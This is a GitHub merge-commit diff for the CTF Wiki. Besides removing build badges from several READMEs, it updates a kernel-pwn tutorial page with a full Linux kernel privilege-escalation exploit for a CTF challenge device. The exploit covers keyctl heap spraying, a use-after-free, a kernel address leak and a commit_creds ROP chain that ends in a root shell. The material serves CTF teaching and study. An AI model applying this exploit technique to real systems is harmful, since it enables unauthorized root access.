Merge pull request #892 from arttnba3/master

update linux pwn and rev, fix readme tags
ctf-wiki · Apr 3, 2024 · 5b05894 · 5b05894
2 parents 41a2df9 + 4ab80ed
commit 5b05894
Show file tree

Hide file tree

Showing 9 changed files with 717 additions and 84 deletions.
diff --git a/README-zh_CN.md b/README-zh_CN.md
@@ -1,7 +1,5 @@
 # CTF Wiki
 
-[![Build Status](https://travis-ci.org/ctf-wiki/ctf-wiki.svg?branch=master)](https://travis-ci.org/ctf-wiki/ctf-wiki)
-[![Requirements Status](https://requires.io/github/ctf-wiki/ctf-wiki/requirements.svg?branch=master)](https://requires.io/github/ctf-wiki/ctf-wiki/requirements/?branch=master)
 [![Discord](https://dcbadge.vercel.app/api/server/ekv7WDa9pq)](https://discord.gg/ekv7WDa9pq)
 
 [中文](./README-zh_CN.md)  [English](./README.md)

diff --git a/README.md b/README.md
@@ -1,7 +1,5 @@
 # CTF Wiki
 
-[![Build Status](https://travis-ci.org/ctf-wiki/ctf-wiki.svg?branch=master)](https://travis-ci.org/ctf-wiki/ctf-wiki)
-[![Requirements Status](https://requires.io/github/ctf-wiki/ctf-wiki/requirements.svg?branch=master)](https://requires.io/github/ctf-wiki/ctf-wiki/requirements/?branch=master)
 [![Discord](https://dcbadge.vercel.app/api/server/ekv7WDa9pq)](https://discord.gg/ekv7WDa9pq)
 
 [中文](./README-zh_CN.md)  [English](./README.md)

diff --git a/docs/en/docs/index.md b/docs/en/docs/index.md
@@ -1,7 +1,5 @@
 # Introduction
 
-[![Build Status](https://travis-ci.org/ctf-wiki/ctf-wiki.svg?branch=master)](https://travis-ci.org/ctf-wiki/ctf-wiki)
-[![Requirements Status](https://requires.io/github/ctf-wiki/ctf-wiki/requirements.svg?branch=master)](https://requires.io/github/ctf-wiki/ctf-wiki/requirements/?branch=master)
 [![Discord](https://dcbadge.vercel.app/api/server/ekv7WDa9pq)](https://discord.gg/ekv7WDa9pq)
 
 

diff --git a/docs/zh/docs/index.md b/docs/zh/docs/index.md
@@ -1,7 +1,5 @@
 # 简介
 
-[![Build Status](https://travis-ci.org/ctf-wiki/ctf-wiki.svg?branch=master)](https://travis-ci.org/ctf-wiki/ctf-wiki)
-[![Requirements Status](https://requires.io/github/ctf-wiki/ctf-wiki/requirements.svg?branch=master)](https://requires.io/github/ctf-wiki/ctf-wiki/requirements/?branch=master)
 [![Discord](https://dcbadge.vercel.app/api/server/ekv7WDa9pq)](https://discord.gg/ekv7WDa9pq)
 
 欢迎来到 **CTF Wiki**。

diff --git a/docs/zh/docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md b/docs/zh/docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md
@@ -215,7 +215,6 @@ struct pipe_buf_operations {
 #include <sys/syscall.h>
 #include <sys/mman.h>
 #include <sys/wait.h>
-#include <asm/ldt.h>
 #include <stdio.h>
 #include <signal.h>
 #include <pthread.h>
@@ -225,7 +224,103 @@ struct pipe_buf_operations {
 #include <fcntl.h>
 #include <ctype.h>
 #include <stdint.h>
-#include "kernelpwn.h"
+
+/**
+ * Utilities
+ */
+
+size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
+
+void err_exit(char *msg)
+{
+    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
+    sleep(5);
+    exit(EXIT_FAILURE);
+}
+
+/* root checker and shell poper */
+void get_root_shell(void)
+{
+    if(getuid()) {
+        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
+        sleep(5);
+        exit(EXIT_FAILURE);
+    }
+
+    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
+    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
+    
+    system("/bin/sh");
+    
+    /* to exit the process normally, instead of segmentation fault */
+    exit(EXIT_SUCCESS);
+}
+
+/* userspace status saver */
+size_t user_cs, user_ss, user_rflags, user_sp;
+void save_status()
+{
+    asm volatile("mov user_cs, cs;"
+        "mov user_ss, ss;"
+        "mov user_sp, rsp;"
+        "pushf;"
+        "pop user_rflags;"
+    );
+
+    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
+}
+
+/* bind the process to specific core */
+void bind_core(int core)
+{
+    cpu_set_t cpu_set;
+
+    CPU_ZERO(&cpu_set);
+    CPU_SET(core, &cpu_set);
+    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
+
+    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
+}
+
+/**
+ * Syscall keyctl() operator
+ */
+
+#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
+#define KEYCTL_UPDATE           2   /* update a key */
+#define KEYCTL_REVOKE           3   /* revoke a key */
+#define KEYCTL_UNLINK           9   /* unlink a key from a keyring */
+#define KEYCTL_READ             11  /* read a key or keyring's contents */
+
+int key_alloc(char *description, void *payload, size_t plen)
+{
+    return syscall(__NR_add_key, "user", description, payload, plen, 
+                   KEY_SPEC_PROCESS_KEYRING);
+}
+
+int key_update(int keyid, void *payload, size_t plen)
+{
+    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
+}
+
+int key_read(int keyid, void *buffer, size_t buflen)
+{
+    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
+}
+
+int key_revoke(int keyid)
+{
+    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
+}
+
+int key_unlink(int keyid)
+{
+    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
+}
+
+/**
+ * Challenge interactiver
+ */
 
 /* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */
 #define KEY_SPRAY_NUM 40
@@ -280,6 +375,10 @@ void del(uint32_t idx)
     ioctl(dev_fd, 0xC0DECAFE, &n);
 }
 
+/**
+ * Exploit stage
+ */
+
 int main(int argc, char **argv, char **envp)
 {
     size_t *buf, pipe_buffer_addr;
@@ -289,14 +388,14 @@ int main(int argc, char **argv, char **envp)
     int retval;
 
     /* fundamental works */
-    bindCore(0);
-    saveStatus();
+    bind_core(0);
+    save_status();
 
     buf = malloc(sizeof(size_t) * 0x4000);
 
     dev_fd = open("/dev/rwctf", O_RDONLY);
     if (dev_fd < 0) {
-        errExit("FAILED to open the /dev/rwctf file!");
+        err_exit("FAILED to open the /dev/rwctf file!");
     }
 
     /* construct UAF on user_key_payload */
@@ -309,7 +408,7 @@ int main(int argc, char **argv, char **envp)
         key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);
         if (key_id[i] < 0) {
             printf("[x] failed to alloc %d key!\n", i);
-            errExit("FAILED to add_key()!");
+            err_exit("FAILED to add_key()!");
         }
     }
 
@@ -339,7 +438,7 @@ int main(int argc, char **argv, char **envp)
     }
 
     if (victim_key_idx == -1) {
-        errExit("FAILED at corrupt user_key_payload!");
+        err_exit("FAILED at corrupt user_key_payload!");
     }
 
     kernel_offset = -1;
@@ -352,7 +451,7 @@ int main(int argc, char **argv, char **envp)
     }
 
     if (kernel_offset == -1) {
-        errExit("FAILED to leak kernel addr!");
+        err_exit("FAILED to leak kernel addr!");
     }
 
     printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
@@ -395,14 +494,14 @@ int main(int argc, char **argv, char **envp)
     buf[5] = *(size_t*) "arttnba3";
     buf[6] = *(size_t*) "arttnba3";
     buf[7] = kernel_offset + POP_RDI_RET;
-    buf[8] = NULL;
+    buf[8] = (size_t) NULL;
     buf[9] = kernel_offset + PREPARE_KERNEL_CRED;
     buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;
     buf[11] = kernel_offset + COMMIT_CREDS;
     buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;
     buf[13] = *(size_t*) "arttnba3";
     buf[14] = *(size_t*) "arttnba3";
-    buf[15] = getRootShell;
+    buf[15] = (size_t) get_root_shell;
     buf[16] = user_cs;
     buf[17] = user_rflags;
     buf[18] = user_sp + 8; /* system() wants it : ( */
@@ -419,5 +518,11 @@ int main(int argc, char **argv, char **envp)
 
     return 0;
 }
+
 ```
 
+## REFERENCE
+
+[【PWN.0x00】Linux Kernel Pwn I：Basic Exploit to Kernel Pwn in CTF](https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/)
+
+[【PWN.0x02】Linux Kernel Pwn II：常用结构体集合](https://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II/)